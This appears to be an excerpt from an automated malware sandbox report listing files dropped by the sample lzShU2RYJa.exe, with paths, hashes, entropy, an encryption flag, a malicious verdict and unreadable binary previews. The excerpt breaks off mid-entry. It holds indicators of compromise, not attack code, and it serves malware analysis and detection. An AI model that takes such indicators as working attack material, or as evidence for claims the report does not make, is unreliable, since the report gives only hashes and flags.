SHA-256:	3D0EB1468C573F8EA470BE068610A4247D2506BDE276ABEFBD88BC7F81343FE6
SHA-512:	376D07C3824BA85EE6FC0B979E0A0E8056DE9D0073CA1CA4DC4B68F6989EDB5B7B8806778EBC2DB8C0C75BC9677A1399FAA9C28019EAA50259ABB67DFB44F364
Malicious:	true
Preview:	[{"Sy..qD.R...u....9....yD....!?9P..._4>.aq....4.7.Bm...........R.>.v...(A......m3.E....=."...s..f0..<!...)..!...u.O..\|..3u.......~...4..NYDrH...wS...X.J(..k..I..-.;.:U..<A.~.....W...j.]0.0y..<.Z.8.w....K.u...d3\|!H..`-.J+.vtF.. .f.B.>u.guvX.".iK.jm..;.{L...d...D.j%@...FW....T..../..."8..z.^..@.f[.'v..#6..[..SO.z.d.)`.}.l..z1hG...#.oEO..7Q;..8. ...O...e.+.9..T%..b.[l..F.4.(a.....z...~...{....w.$...V.Q.@....y.o.......Y....\|7MW#vh4+30.r$.N....;0...rG-.jb...T..#..]u..t.gG..~..".5.I....^...8.j.)E.E.......b.T...y..z..L...#Co...o....E'.NM:,.c....$'x......u.......n_.]................].,.p........~.s~.ja?z..Xn....H.:...T.......Q..w.0..[...J....>.cZ............S.'.n.%..:...R4......o........=Y...]...^.h...G.,..N..S.b..L:..a.h....1....=Q:..x+.."...v.D..(...:,...}..x.%.....LC5y.d..r"...x.J.s..W+f2...q.=...................B...L.O-....z..\|R..'...R31.T7o...R..&.Q.-g.2o%..-....j..k.@[.Z..{p..=.W......r...:...j:...;.>E.....z.,...G...f.".....U}h/.I

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.998574231777709
Encrypted:	true
SSDEEP:	3072:XeohUrCCDrF0jz4iUH5TFgup8t5Y7QH3BjS4T+ShOMO:uoa+CDr2jxUZTF8S7IS46yOMO
MD5:	3A3E01317BD5E8879B2FC9E986CC9487
SHA1:	F9A9D378C95A0E4A2298FA9B2ADEE84FE908BA1C
SHA-256:	ED7D7DA98A18269E1E19E84C207654DE707FC779482F5B5AAFC61363387EBF07
SHA-512:	7F583FC259F08662DAA23FB530925970DA92C302762F9A9C74CE502B8EA51BECE639F5FBD558887D466EF8B16560DB794931182275D1128FA1C0EAB1CD33628F
Malicious:	true
Preview:	[{"Sy/..u.m....ih".n.jsH.p.$s./b.../x...u..../.X./.p...<.%...3........_.g..x.a{C...?..T...)..z.q8?..{.......$..Nq..?.B.`.^F.2...J......](....#........x.?&-.4m].h.([5.}...o...V4.jSwA.,.I..]...?...E.CQ\|.=T...1...f.o......R...Q.A'...f.P.x.?.O.....=z...._..7.4i^.\.O#.Y.Z...3C "b4..6.......^W.c......0..O..&E.#....e.w..........W../m.mor'B^.9(.?.d+x#......D.t...W...%n....X.g.7.1.../..U7.Zq.j7...D....."...,."..2...m..{.. .'.&5D.R...{y...H...,DH.i.....[........#q..Q.f.n.?V.O.S.\.....<.>...w^....;)m....VTM.I.a.b.GZ&J.......;..3sx\..G...}b.L.T~.E..\.Hu..SVF.....`f...G.s.....=..8.....1...#..8..=~.....tw...P....I$a.3....H...)H....}.g.pb..h>.U.z}......5#..Z..5 .k..G...R.2..."........R........?.X.Y."..K.8se.?..ni`.h....0q.rq...y.k..)....).q._....A.1.M.G..!...<&......dXJ...n/..^.r3.r/S.G!SN.h......z.6..H.'.CG.M+.\X...,Ep;r.,.a......K.X.mMZBM...#/...@J?.;.r4.!...+.......+o..noaq2..{d..'.{..4.%~Kq.;..b.pA..bc...../.I.k1..z.3.`....w.^fL.'..oG.{....-...]..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.998451535521167
Encrypted:	true
SSDEEP:	3072:AAnZlOB/tah1YlQMfcvjd19dzr9vwUIlCTpv3:AAnZlOB/8wfc7zH9oP0Vv3
MD5:	C44F7134062A387C1BC5DC69FA39F1FD
SHA1:	D532138EAABE529690CD1D8DADD883F60EE89CD2
SHA-256:	670E6003CEAD5E6D3237ABF57344A842A3B8E89D6F4D91DCFDFBEFCA16378570
SHA-512:	7BADEFDD51CA3D4F8AC4542ECFC40732BE44E59D50AF3EFFFD4CCFCBCFF340ABDA87D9D0B1F70401BB0CB2CA2B8A75B607AA6D34C8D741A3116EBE2EEEE8ADCF
Malicious:	true
Preview:	[{"SyA~D........,...4..r.s.o.\|.%..{6......I1..$.j'wbB..:.`....E....P.+2..?~..y..BM...C)f.pj.{..z.......:.p. 1.V'.`.\|d..L... y=....;..1L!\....M...6.......bUA.._....#B&-..W... x.2!Nj..g.#.....lD.....R..9..c;.....rl..B.\..b......}9Q.?...$g~.>.?..(....}.....}..D....$.F..../..h...rPSsa...CAv3.5...^..&j...!..)..tIVx..."..a.;L.u....q..h.cn..E..@S.+~.-..B.n(...:..#..a.:.64!....Kke..K.M.....=7..~.&.4....w.....x.D..M.v....D.u!\i..=L.......c.X..^.QvUG.'C^e.D..5+....w...%}=C...l....ON..y.iR:s$...$...wnI,..R)=.M...k...Q....i...t......d....r...w..m.....?...'..4\|i)s.....#........H..\|.k.`..da2....4..~..x...._.Jc.0...<.W........6...8i..2..q.3L...,TWP..."..r:n> ..7..H..1VJ.T....9&..+.....4A...+l.2}...].\|c].L..<Y.FN...Z....JQ...:...3.(..8..G.....e..j4...2P?.(..I....LV.U...q_w^C..\XK...u...-r?F.....A8......7k...<l.&B...}...\.^~.S.Hc...v..Z-..N...P.......h.I.Q.....H..+...Ss..[...k.!.....L..f..{..n(.4/..H`X..=D..su.G.......2...].>0.EF3.5*.S.../......?9........8$.N

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945538176941.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.9982001768061215
Encrypted:	true
SSDEEP:	3072:ANmLcB24RXE+Bt5OmjbEjPV1Hbw57LjFbsKP0h1yW/cx/Dq:caMJXZbjbE7/7g7NXQgH/e
MD5:	35A554ADBFC38137764E8B441ADBAD23
SHA1:	D0536118F3BA02788CB30E41EA7FDAF1355CD081
SHA-256:	FE46B66E945E9D196E6F4461D536FF5E1147C91C26B50F6EDF59158546CD5C8D
SHA-512:	CEF9798069BD500C89116E7A6BC45C7637A8B2368073BEFA21E70B8C11E5A89FCEF977C8888EE26E9395A9F6004BEBA9D2354B199CEC074E7CCF740779F64064
Malicious:	true
Preview:	[{"Symc........8.m/@.Tk.o ........I..d..dq......x.k=.v....4?.&............O'.t....'..X..;..M.9%T...s.Pt.....T....{ MZ.j..D..}...T[....u.'{3.a..T...p...../....j.T....d.P.Qx.Y......6..E.....c..R....E.....E.....KG...._N../A..OU.........y..+.....>zx.Ap..d...21.4..K.....m..a..o`.@....=..^.......v.....6?.}.R].....E..S.ab.j[.......L.........ER{.<..s.....4.#.yq...YA....5.,...+..@..^....H,..S...A.k.....Js5R..C.c..(...FI..\|k....1o..m)<.#.aDv....@.;.].j......WZ......F..#.D8.{.s2.G..ox....\...K.byg.'.J.b......Ig..m^d.A.*...-.. 3..=ca...m.`........'..\).%.A..Y....x.....v.-...O...-D..wR/x.=.9....p.I...t.~...).s6..."...Ke. %.......A...............t3.Jk.5I..t.$y....y. .mF.{W/..$ob..C.M-4g...V]O~...{.5.f...D+..O...&...C........kc..Y...N..?!.g...`...g..@D...0....9...GU../..T.x..'.[=.?..44..&=...b.N.q.!.~~]....V.O>{C.........:K......l=a.D......Jy...u!....~y.%a~T..J3.=.......c....`.b4.6.%..5...)\.._N....xO..y.........1.V.>."L.p./.v(.G.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584511275496840.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.9983773665446325
Encrypted:	true
SSDEEP:	3072:8f+8y7nOUOn2J8zwseqVX1TQT9KVtncqhGMPr8H1wT:8W5702J2waVF89KVtnlGMPI1wT
MD5:	54796BE1AD53D59BF6BE3E185EE32210
SHA1:	5842D82840C45DF629236C6FE542233FB9FCF679
SHA-256:	887F4E1706D005EE85DD87AEA9A6595D37EE198C12D450D6BEA19757FDA10F07
SHA-512:	B485FB677DF1450938ABAB9D8EA9B29AB954BAE49BDDF3ACCC89B14E56A125364069797B1506BFCE49619B94A8A7FD9728A196B34AF11340F6C9B37C233DB1B0
Malicious:	true
Preview:	[{"Sy....).Ayj.0..Z%d/.=#?=Z.>....Sr.Lgi...f..t..O...O...I...:.<.@.._..r..].....<.....'..SI.......p..,j.l...(.8.,I..7.r....?.W..o.%.Z..?.tu...m.3T...P.4..?.Y.....e.F...'.(.l.........=...-H.5\|.._..b...%r.X.S...n.....T.Ai..d.\|......b".#i:!...#..=.g.%....0,..0.`w..0:]"...5.....`.n.PX..v.......<.8......*.Oz.Wm.R..T.....}-.p..S.t.77...$..&...=.....n.2..0I.jPt.7.I....a/.'...G.T..Y...`.9.........91.($..r....\|...XN:..WXcv..?......T.....^.A#.;..\| ....{.:..\..D..x.H.&...8...Z.y.g..I.>s.}Q.@f.......^`.&...D....n.J......C.~..9..R.v....n=.......H.;.p..O>.zg....e...iE.]M..@....R@v:..../c..e..+g9....((7Y....&kR..+?d......S_.,...@..8.#.&....5............%....;...@.r...T..A.ki$uc..M..h)=;.B=......M.nn.n...C.,..q,kSW...DLt. ..]'...C.....jU.+.}8.5...c....\|..i(.N.q.........U.^.rs..m.;K.C...8.....x.x..I..6...k.I...C8...XP.....kme..&...[.VC.}.....F...C>x.....Z....T...E..;.Q\"...,Q=.Dy.u..3.l.\@#..c.A..a.}...=B.w..;.yv..&...JQ...0S..>...H..S(..!

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.209867708638714
Encrypted:	false
SSDEEP:	12288:kX1/+c9Wb950XW83oGotdYuMOCc5MpzgroTDLgM:U1/+c8Q31uMOCc5MpzgroTDL1
MD5:	6694DC655BAD7670CDFB837261F33B03
SHA1:	8A510D740A0EB008B9807625BC687A1CD49C4062
SHA-256:	684472ECE40FCDFD898D846CA051CB9E756AC7DB361AED0C697BBB5C39B6FD15
SHA-512:	A685013A84E0A79004F7D63548C365D09A5BCABA9BCD3D34BDD69EE84214A612DFE71E00B5488C0E1813B0A80088D829D415EB26AD67C33D8E363C3F1BD0A1E5
Malicious:	true
Preview:	[{"SyO.....;..{.L.G.....3_..w..>n?D.&.#_.n.}l...D..v.c......7....g......I."5...a."e....H..E.$.Z..t.y.}..A..S.C......C1K...@...W..2.B$....^....kD.7.......'a..V_...U..;.ov.S.[.&.b?.,..8...f..P.]6...~.:.cs.X....$...`.D. ....!..J.=...T.....m..=P,.>Ac3....p..d../...G6.0@M.p.......;<..#M.6....~.......U...3.................v..Ie\.....D.s}.v...i.z..dF.....~{./.._...c.~.y..%..}.>..:.........\|]..............K.$....,>...Z. [n..z.`U".......1..`].mb.(..Q..>..T.J.g...Ta...).Q....B-K.....7..v.8..TsY......x..,.....?...PZ...kQ..(!gLU#.4(#'...dfa9.....0!o.k...#a....^P..g'feX..k<]O.6..P\.\|..h..ps...6.e.....=..9..yN..?...J.4..\.VY&.....A.......L..."....ZZ...`..Yq..<..4..d.:..T.BV..zC..N.v.q.L..0.g.G... ..F..W.$s2..?......$c...O.`.f..%N...q....bQ..g.....u......K~.Z'_.2..G.@.....\|..G%(.1...>.c.,.w..Ne.......ir.(......n.7..?.....bb.F9....#..h.(.c.........]Bi...?.*..h-<X.=...m.v...z...+....qYX{....m.!h.{.:.Y'...8'1...t..$....<2<...q..MG..xY.i.pmN.L....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.973091612443907
Encrypted:	false
SSDEEP:	192:heB1NjDSiuV4pWuTJ2m3c5dmFACUGcsrcWqp/p:YB1Njvu/AJi5gFAqlEx
MD5:	6BC4E9861946A384429B03998FBD8EB4
SHA1:	C54CCD67E31B20602F722766B48536E6CDC8A883
SHA-256:	89F6B0DDFC33C87F37EA15F08AC49DCA4BD98C19A733FE9FECAB535FE0C56A28
SHA-512:	CA0E45EAF03B754830849D15BFD7604DB86E8C86D8397305F3B6B0C00AF0CFE28BB379929D2703C9BA8BE71C3F1900BB0C568847EA026504FCF6BA24D7962BF4
Malicious:	false
Preview:	<svg ...U..9.j.-...r..!..'T...-x.SH..:.e..W.o...=.e...z...&...1....X.......k..+...-..r...k.>....5....%......;..].....Z.eH.^...PE..I_;U.e.0....R..3..GV...a..H.Ge....>N.......60..$..b.P..V...=....a..QlY..0..X.`.......!...z.v...d.......Bu..W..$..x.......!.....Lo....2...J.;.<.....D.pw......y...!h e"e.H....[.';.z[.....L.p.W.i`.4..Y1G.W.....w....J...SY].9Y8D.M.......Bo;..-.Q...Y(.`hc...w.3.....2.h#9.n.sw.y....6.x[...6t.\|K$6......&Pb.m.....7e..jg...J8.C...>+/n".".d.ts.`...2ek.Z.tv.......?]X..+2!..4gKk.....P.....0.2T.!..I.k.....i.q...\|>...1....t....3k.,k..?>h- .l....;.I.1.i."k..%..`W. .E......~g\|@.....9=.....(...dC.z....6.......=.m..3.AZ4..*K.i.pU.h.R~W.......%.4gc?...qN...#....A.5,R.U...@0B..P..Ih.s.o.^...y....)D..r5..v...m..4z~.y::.(..k...Re=...l$..]k"G...N.......F....9?...%[....[.......m......z.;.@...9..B."..&.ug1...%......w~N...~..(. [.s.....7../..1....( ...4o.^2..2.....&...n7......w..&.2.E....[.(.[...n....jEL.&.9....g4..9....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.977600180075904
Encrypted:	false
SSDEEP:	96:nBQ4G3hB/Skk22gktsFc2fm1JI7X0iMv3A7flU/mBGtGjHZcfKICXVlnvCcLMjxu:BQ4oagUPJI7EbPSBaG/hqcux6ECZ
MD5:	5FA5202D50A8A85F4ECD53FFF160C202
SHA1:	E38AD65F75DF3FDE270733845C046928FD659B7C
SHA-256:	0267008C4A077146CD1B1483CEDE079C6425C77A2BA959B9F5D31BBEB94ADF52
SHA-512:	916FD47F89550A34D06AEC2740276AE052365F075E377689465A3AC9F7CCA9483E4B2BAC5A03603D774F68AA60AA677293F4681EA8826401C5ED238DD3E143C7
Malicious:	false
Preview:	<svg ..-....y..v}..?&.$}T..v..8s..G.pve.....r..Pc&..H4(..l&...5[q.....O...VRQ....!.x.......".=J..A}P:.."..N.4Q...h_.9....W..r.;.}..w.H..Bt..D.........:.z.K.........+u.n.`f..e..z.E.[..H.E.x%..yB..{E....b:e.$..WkC.....R......;.2.6oKE.-Sds......:..L)c...a.....W...Q.7..1&...]..S.`.k..CpN.k........v.....j..S....CA..C@..m.+0..t...........s.._'.......2..........<.......b+h..h..{.....`...:.{fr^...1-I/]lSj.)].VxCUMKv....,@Q.v.....9Ta... .I.....'.6s...`'.2.y8.........8._..".=...^...RM...n.\3~C%.....m...54.'i...6.9....[.6...y.k.....&..\./J..Q>....sV.^. [>......Z:.Y.....Y.ZD.x..9....I.Pt.Z..Sf}m...j..5d':Z2.+...H...=Q.ub....a.S../P`..:J..T..u=.E4...7.C'1<+.......i0E..;9x..3).....X...e.q)p'..S#.rf.Y.Ix7W../D....Fo..SB..l......W........_...] .#...._..`.._.0..#..q.qA.Mq<e...,.wK.[.$.......[...N?...>.8..... ...6^...........r2e.co.2W......7..1h..[...6....a..s..!......4.m.:{.....``d.-.....#k...8.../.......;.T..2k...Z....3.m...6...1.-?.z.HlB

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.998835931095928
Encrypted:	true
SSDEEP:	3072:gvYfoNpvuvyV9evyRq/wIENy6wj3lDZ+3ZzLh2beDWc97/RIZ2e4:gTvl9evyHyz3lDZEZ/h2bKF7/R7b
MD5:	81DAF89BD64ED0615412CB266C6309ED
SHA1:	840953DCAC24951233466BA17EB2B91259CD504B
SHA-256:	F506D90AC8B47E8404B4EB6A0905B615E18CF12A1F6E048E23F470CC39AA1BF7
SHA-512:	0D1EF603CCA385EF927991C2662FD09E8796A4C5EA9D8DE624067708D98D75131792BC6CFEB1033C4C3AFE16DBC0CE41CA2103C5E7A3F9386D0CD413A6BDAA4A
Malicious:	true
Preview:	{"loc.T}..s4L.......I..t.....g..[.....cj.......q.CU..=.A.....H.........F........8..a.8..........j3.}3.d...(-Ne...K.yB..QGez..^..MR.3f....;.6F[(.q..Q......I.XvA....I..#......IK...}.O.Y.b..........R...Ds.l..fz8.0Y/s..b.g....f.\....v.p..`. ...H.#.t...G...i...(...M....V....4...eM......&.....+SA.........w.<Guj....S).......t..Qd\|....}..\|"A)i5..~.q.../.p.'.q.6....~Z.b.7]...#.wfR...<f.MF.......G.8.R...P.h........pi..oU).......)....H....v.yWx4..q....B.c ..M....`. .7."(8....I.$..D.N...3..=s.:?.9.q.+.L.[..G.......t..4.I........Z.\|.....Z$....a...Q.yX...Bm.>.F.T..Z.$0.....)QT.<.G+..'.../_....&k...h&.[.i....B....V.......K.2..NR...x..e%..yG.........b..d.I.E..?\|.&.;..C.....kl/..H....C..~.....x.+..`3\|..&<>r....\.M...!Y..Xa....f....3-...N-..Q.V.3.....&.k...N...?d..8h.w..q...)...r\|...;Q(...xz.,.Q......5N\...S ..a.....8..l!...=s..k........U.7......'.@.V."..#K..O.B.^.....6.1Io%8..i..m2c..VVL:-....^...bL...jF.V3(=..(yn..f:....1..,.D..J......E....[H{:...!

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.639126205918793
Encrypted:	false
SSDEEP:	12:0mjoD5djwsceEiyM9l7xh6/+68YZPmpTa7jVcii9a:1kdLcLAhdFp4VbD
MD5:	67FF743068719E8FF2049FA3DB5AC08B
SHA1:	86E2DEFDF2FA6DEAE82EE0C7EE5D5BA89843C710
SHA-256:	FF8E1F53FB1BFC65D0615A7C1ED2A85D29EBB8D34CBD697E90470F382DFF9E1F
SHA-512:	FF87792743CBFB4DBEB6C4AA3F66D254213BF07F7EDFCE4D6E7C20FDE7724EC327C5D79A9349CC35574CBFBD29DFA9A41DF8A80793E0D3F7FF830C3EC30FB7F3
Malicious:	false
Preview:	[000:9..C&..8..G..E.D..f...tF..>t(.....A..;...........;...g.iM%.tX.X.n.D.02.j}..2?..8.r..~.._.6.QD'..*..c..l...........Ha.9.GW.\..I...?...L'.W;N..X.K..+....c.L...VD..+.4....WU..W.6Q.vo..I....(.v./\....d...R`......z2.j..... .MH..+..;..3.9ND.3..qc..q.=..(/B. K.....j^..Y.i..O}.Q.2K;...z...{...l"C#u..^..C..c....N.f.}..Sl..!j.`}"..t....\U.w7;..$..^w....>.......=\2BC...0.{R.-.............O......x......)I...........T .U.c..\|V9...F..h!.v.?..y.P}Q)......YF .M..s,.[#a.>Z0)...7N...).cq........2-.`#.B...:Z..<..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204916630188345
Encrypted:	false
SSDEEP:	49152:Mse38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOB:Ms4F1qd/LKNB
MD5:	9B90DB680E0CC86A5D10E7CB76AD0CF4
SHA1:	6D5733C982DA13821C6E5DBA3441FE1879C96CFB
SHA-256:	555A0A4BD173ED5628EAC7F03B3D6FE1BCB8AD8FAB1364D0A8061433D5CB5301
SHA-512:	5E2643D2A494D500BE2ED727BEC48A2435C492AF69110F2666F7AAFD10D39CCF0713AD7463D812F608B243CD8BE66934674D059F360C1FFAD79AAC4BDED5AA65
Malicious:	false
Preview:	MicroygY4...N?........^q.1!!..t....~.I#..sk..K....WO.\..(.V....Bj...3(E-9V.~k.....m.b/>..s.f...4.L.......x....#..tu. w.&5E.,..U....(.L..1Z:.o.....!...O.[....R...(7.{...,...B6qM...YiQ..gn....]...4..!....p.}..B..MP.I.nT........,......vk@.4'......[ac4....(.m......'.J..........yj%B..<7@6...@n.b..G.."e...v..z.7..=.Yr.}.wA8..M..8..9BK.^.,4.r..KJ[KU.j..^....3.W..1v.K.....qN..h....^..l..6.^.%.]..s.W.....+....V.i']....A.x.+..#.kBq...D........t....="}..^/........0m...h#>.....t\|..T.Bou..S.lw=O...`4.6p4\. ...Hw...._...l...v.]....a.<=.......m."G...!...Z.o{)..:.A.a.2b.O...D.F.\.,.h.....:.......?......D.8.'_....$.L.4.u..Gpm.+....Lz..._...aA..k.rt.n..Va.`./.,g.P..)...V.;...]...m...B.......-..w..q,..3.)^.9~.pO:Ew......<H.K.&..x..A8.?.^Z.t.......MY]...t.F.2..k.r...~..j.a{A.V.Bi..!.Y...0..2....B..0..K+...,..M.+...Bkh..G...T...j. Y.}'..\|./...uM(`.......y...........l@.gr..W...k>..>..a.HL!.-'-.....^> \|.;.j....EDO5p...@.(..O..j..N_...98I..s....+g.7.He..s_~..uj.\|.S./

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205126879697285
Encrypted:	false
SSDEEP:	49152:VCZREpQoL38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOy:VCZYQozF1qd/LKNy
MD5:	3AEC44EB06D5E4446BBED55B596437FD
SHA1:	6537993B7D240A7CD6B314A52DCC223A0E322D57
SHA-256:	AC94DF04B8C12F94A58389ACFB5EEA7D9C64395015E9845F753A3589D80DA642
SHA-512:	BD3C0DFAA1700E8A942FE02FD5BF36407015C8CF6770AF78E1B890F09AFCBA252E936DF4337C47247A789428110D1349234B2D0F21E6630DE4C8ABC91E4FFA93
Malicious:	false
Preview:	Micro[f.rt....i{.KNS.Nbo6.".).J.%..f...;.{..Z?......s..$!.....^\|.3v..P..u...........O.Y..HaU..%.........w..{Y.{.gC.t..zN.kk......&.e?).k`mI..I..18.....\D~].m..9..........h.T..r~o':...D>4. .@..I..'D.vj.#YfU.^.......^G,\..ic.....1)h.T.Cw.s..v..3- .Rh=4..TsGXK.0.....pb.!.F..........a...\R....S....{.0]c!z.._^...2.7..._...........U.....1qM...F..C.U..._3h.S...m)g...v.,\.Q..AO..."...[...S..y\w.st.8.%[......`...P....z1..=...9=3I.j-...K....p2.`I....o$B.'..\.......@\|0..{-.r.........~.Y....FF.'.mq.2.A.;..enSv2.1.'U..o..'.".EH.-.....`.z...=_.%.c..w...'.$.^.u.q.s..X.J....[...r....<-.. ?P..8=.[..6.....r.%%....;JiV.%`Hp.EB'............Y6...e...t.6NR....Y.P.e..5..S...R.nkJ..D(.../...(..z..X..a...P{."..".,.4..#.53...Gz.x.a.......{d...\.=\...........X..K\|....'.x....^,.&...v2\f....X.@...@...L.r+....l..?"...n.n...>+....hAM.Djtl....x..$..m..7K.5@...Xf..\...`.....m....g...d..t..9...)H22z....f..@..}Vt:......o.&..f?...a.s.?.T..m=02.(.5..P.Nd\i..b........

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662383532997161
Encrypted:	false
SSDEEP:	12288:1I1QOeWCJQ4aKVmaS4aMz8Pg3lxJo2cvXtf:GeOeWCBaKVzaYcAqtf
MD5:	E19E1F49A2180DC1B6C30257C7CBB823
SHA1:	FDE2759EC8294DA5945B340D5E5E84D92903149A
SHA-256:	8E78B1611C00FD1006D5AC9306143A39E016463E9E25E74AEFCAF09D9E6DAA48
SHA-512:	455D143741A7F3A504F8F2095D9C29C0476BD76D0F078EFA254EC94599E335E34F6B4C6D4F343694E4EB9BCCF8A518372A0694238A1B066D6C0B4D6575CFB73A
Malicious:	false
Preview:	Micro...G..g,:)J.q.Y..3.wg..5..aJ...u\F..Pn0..X.8...,+.+..y...Q:H.G.u..c.5....WRasc....t.NdB0.R..C.bX..u..k.7z..o.p?.;...D...T..a..}..m....../@p/.nnW...}.....Y...55(...p.).D.....ZM.w;.#g.7i..UL..>\...k..rJ.$..nb2...d.m7..j..A..1.W.V=..<...M.~......%.JY.../..h....2...8.x..g.SPb.?...:./.Mzo.=v(..rk...`........!..`,...5.<.y.......H.n.Y.0\.Y.<J.....}.^'i).y...6.'K.B.w}.-.....8.x. .S.....]..<G.Wb.V...dhY.........@....K.\|.+g......n....E.FJ.^.._..o......m..._3..7..;....Z....4.@[.Q.?.(.Q....3..;.(.$\....XpF........h.`e4[...3.p.p...xe..y...O.....Z.9.Z3_zI.`.!.P1.....Y_...d.u3O......y[..+...X`......D......\.....p....}u.......U....p....%.w.....f.b..T.T.....p.K<.p....g@.X....hq.e..8.<...@"..+..".........5...(D..XM?...M.P.......r.....kt.v.u.+..\..;...I.XK.0......Y.s......U...H.u..v.....l.B.M[........{k...^k_.{p.4 _..W...6."@..$..[._.t*..`...l.....(...%.N.l.7wB...n.....lq.q...z.w.p=?\...........V......Tw}..9.h..Rm..f....5..ts.;.s....Y...V..

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.6627415825588185
Encrypted:	false
SSDEEP:	12288:kcEb2zgFOSlulikk5rDyJQ4aKVmaS4aMz8Pg3lxJo2cvXt4:kcEb2yBl5rDyBaKVzaYcAqt4
MD5:	49476D23EF37F0A16EDAB17ED31D1B48
SHA1:	19985AD39C9A2B6DA1BF1E75ED089255C5015D71
SHA-256:	51B03746354927EC05270B80C4AC94D58DFC4CBAEE397624964EDA44B91F8EE9
SHA-512:	8E62BB49EE5C297A26F133BB3F6BE45CD3F6791F1A808C7674848F56F41E491BF9DA157B433423A9CB42C2011ECE9DCD71970084ECD71FF078863C056C69AB51
Malicious:	false
Preview:	Micro...F.d.........5.<..../.z+A9....l..&1E..........v.h.`...UFq......9z.%.E.LV$..>L.......D.%..'.jI..\|.g..V..e\m`.....g.)b..$..\..lQ....i...7.2.......6..Mb.P..]V.7tK.%\.....s...f..`".Z..a....6./....E.F.+..{..-.-.. 7.........#.8.)B.n..:..z.GVC...%b....N.........W....u.C.W%/..G..Y.V....:...G.V...d.f.(g!..(...;...W..O...........4..%<.ArMu.o...............Z....Z.WB......Z..........._.Da..c7.B.....g..p..kBx..v.r"4..~L.G(8.-!.s...T.....M...P....g.ro......+......3.Q..@...m.r....k.'....x..A...:..".[#.@......F.^..a.R.-_.\|.......k.2.?....?Pb0.........YM.,.^...e..~....%...o..AY6...,q..f%ZSj....R...(._s......#T....x.\..5...7K.......K....&f.u.D\|..T...z.;G..%c.U..R.=p.i............>.....u]h-.c6>*.... ....[.w0..g.gJ1...#.B....q........8!...,....d.q'6sY......!..$....S. ...BV..T..D..Q.B.}+%..t...$.T.\R.-.....A.......%..%q.G..yjs.:...f[.Q]..z.30 AR`.....Dc.....xf.~ier:.^.....x>.B.=.F%g...g.......S.P7..FaZU.}q......!.(..z...8z.I.....T.o.i.\|l...A....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.993229327679198
Encrypted:	true
SSDEEP:	384:hV/nkG9v/QYheVrUA13Ewb8ZA8fFyKJ9fJYKN2k11++mPLID9ChFP+MbKjdNST4V:L/n39QYheVrUtxZA8foyZlYkf+J/Prbo
MD5:	5C3F0271F5C4C3B7FF9CAE189BBD188E
SHA1:	17FB435D0786D529849BD87761774758129D7EC4
